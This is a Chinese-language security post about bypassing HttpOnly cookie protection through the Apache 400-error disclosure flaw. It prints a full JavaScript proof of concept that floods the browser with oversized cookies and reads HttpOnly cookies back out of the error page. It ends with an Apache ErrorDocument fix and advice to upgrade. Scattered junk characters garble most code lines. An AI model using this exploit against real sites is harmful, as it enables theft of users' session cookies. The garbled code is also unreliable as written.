很多程序以及一些商业或者成熟开源的cms文章系统为了防止xss盗取用户cookie的问题,一般都采用给cookie加上httponly的属性,来禁止直接使用js得到用户的cookie,从而降低xss的危害,而这个问题刚好可以用来绕过cookie的这个httponly的属性。
; I" \( J; C! R$ y
/ I) [/ u1 \; M; {7 A) H, |用chrome打开一个站点,F12打开开发者工具,找到console输入如下代码并回车:! d2 u8 G! x1 X# G. i
, d+ X" O. w+ x# R& Y3 ^$ u0 }
% j3 H' }; @$ F" E" p& X6 H7 W1 x0 S- R// http://www.exploit-db.com/exploits/18442/# I; e" Y9 e. u( T! S
function setCookies (good) {
5 G z' \( J7 q; x) z) @- P// Construct string for cookie value
o% \! s. e: j! {8 R- M* ]# Cvar str = "";1 F6 a# S! N5 R J
for (var i=0; i< 819; i++) {
6 u; y# |1 J3 s: u: ]; i7 ]5 }str += "x";
1 |9 s; A' f$ ^% ~( X}, S0 E8 y5 `) R6 s* ]8 {" V# C
// Set cookies* y- Z3 C$ O, \: B; J
for (i = 0; i < 10; i++) {5 l8 v% z+ p# P) ^. m" P& |0 W( @6 ]
// Expire evil cookie7 u6 ]: C, C, }0 o/ a$ f
if (good) {
T+ a+ y5 d' ?var cookie = "xss"+i+"=;expires="+new Date(+new Date()-1).toUTCString()+"; path=/;";
' a% }. e5 d! w* z* {}
* u" W( S) b2 I# }. Y% N& g5 |// Set evil cookie
, u5 \6 ]4 B' L0 ~5 _9 T& felse {
7 q4 r8 F; o& \$ @, Z+ Gvar cookie = "xss"+i+"="+str+";path=/";
. T4 l1 n# Z; a H}! ^) H0 h7 K% h
document.cookie = cookie;& {: Y% d* w' @
}5 @" D7 v- q) r: B5 h* l5 ?
}8 e7 i r: L9 h5 ^- L! s1 I
function makeRequest() {
5 X" U, M0 o5 L: Z3 QsetCookies();/ j1 D2 C% F# A) C
function parseCookies () {
( y$ W7 k3 l# q0 L( a" `var cookie_dict = {};
8 B9 l/ O0 E7 A K// Only react on 400 status; ?. d) x3 O6 y
if (xhr.readyState === 4 && xhr.status === 400) {
; }$ @& j) z9 L! U. a// Replace newlines and match <pre> content
2 k5 Z3 Q3 f" `9 k7 b3 fvar content = xhr.responseText.replace(/\r|\n/g,'').match(/<pre>(.+)<\/pre>/);# S) `! x: H9 E. @ V
if (content.length) {/ Q6 t0 l; P8 R* F, p
// Remove Cookie: prefix$ n9 r+ \9 l+ [2 F3 C& a
content = content[1].replace("Cookie: ", "");% l i. S- }- O6 V, ~
var cookies = content.replace(/xss\d=x+;?/g, '').split(/;/g);
5 I# j% L; c& x% k5 F K9 g// Add cookies to object
1 r U0 n& b i4 N) Q# \for (var i=0; i<cookies.length; i++) {
! y) q- B' X9 b( x# Yvar s_c = cookies.split('=',2);
; D) G" Y% M0 ~; zcookie_dict[s_c[0]] = s_c[1];
& v; O# ^) z# [- N}
# ~+ ], D; i Y4 G}5 `+ U3 n! @% |% R+ V+ h1 r" V
// Unset malicious cookies6 {9 j4 b2 z) s+ A3 N
setCookies(true);/ [; g& U8 o m( H( t* W+ i' t+ |
alert(JSON.stringify(cookie_dict));: M9 m: N$ A# F6 N4 H# ]8 b
}2 p( [ ]) ^0 w! k/ c/ q1 F
}# M$ q( R4 s. h0 ^4 s0 o' P6 q
// Make XHR request3 R5 D2 G8 J& l5 p$ q" F
var xhr = new XMLHttpRequest();/ u4 `3 b6 D4 O9 f" X# W; x" I
xhr.onreadystatechange = parseCookies;
, Q) R3 z6 [( O: j8 k7 Y% exhr.open("GET", "/", true);4 ]6 D2 ^6 E- O" ~5 W2 A
xhr.send(null);
5 F8 c' S/ ?: F t3 ]7 L9 u+ r! ?}2 _, F2 T' a, C
makeRequest();: G. ]4 ?; A' R% E$ X c
2 z5 o4 g$ G# y& q, B( n
你就能看见华丽丽的400错误包含着cookie信息。, n. I, F+ v, z9 Z4 Z$ D
3 P- l8 i9 D+ |& }
下载地址:https://gist.github.com/pilate/1955a1c28324d4724b7b/download#
! ]+ ? g! j, O* J/ J: f1 h3 p7 b5 V, T: C! e9 f2 N3 L# K# r
修复方案:. `' d* z# [+ W3 v) V" |0 c; n
, b( D6 I- A9 o& Y, X; ]" O
Apache官方提供4种错误处理方式(http://httpd.apache.org/docs/2.0/mod/core.html#errordocument),如下
?& }$ N* |6 F: x
# L/ Y% v- c- s( I" ?In the event of a problem or error, Apachecan be configured to do one of four things,
: V$ o# m: H" ?8 t
# ?3 r9 L; M+ F& |# G/ d3 ]$ `1. output asimple hardcoded error message输出一个简单生硬的错误代码信息/ A+ C0 N" e5 [" z6 R# d, E& e
2. output acustomized message输出一段信息, I4 p+ l: e0 i7 |
3. redirect to alocal URL-path to handle the problem/error转向一个本地的自定义页面
7 S3 R2 X; l4 p- d2 z2 ^4. redirect to an external URL to handle theproblem/error转向一个外部URL- ?. ~ b8 \& ]
' _. z. _! l6 M6 a经测试,对于400错误只有方法2有效,返回包不会再包含cookie内容
. _' @) y# H$ ?9 z0 c3 K! F; o+ J7 i, f7 P
Apache配置:. M. K2 e/ V" n* T, I
$ g# P/ P" x: c# t5 G0 oErrorDocument400 " security test"
M+ I. X! F/ {# O* P
% I/ j/ W' i) { L4 u" j ]当然,升级apache到最新也可:)。
) ]9 H$ e3 U- N8 g6 |/ n$ {& K# ^" l g. U! w$ v2 o, E, U
参考:http://httpd.apache.org/security/vulnerabilities_22.html
5 a- X3 N* W0 P% u+ @
2 y" v0 P4 n- W* U4 ~ |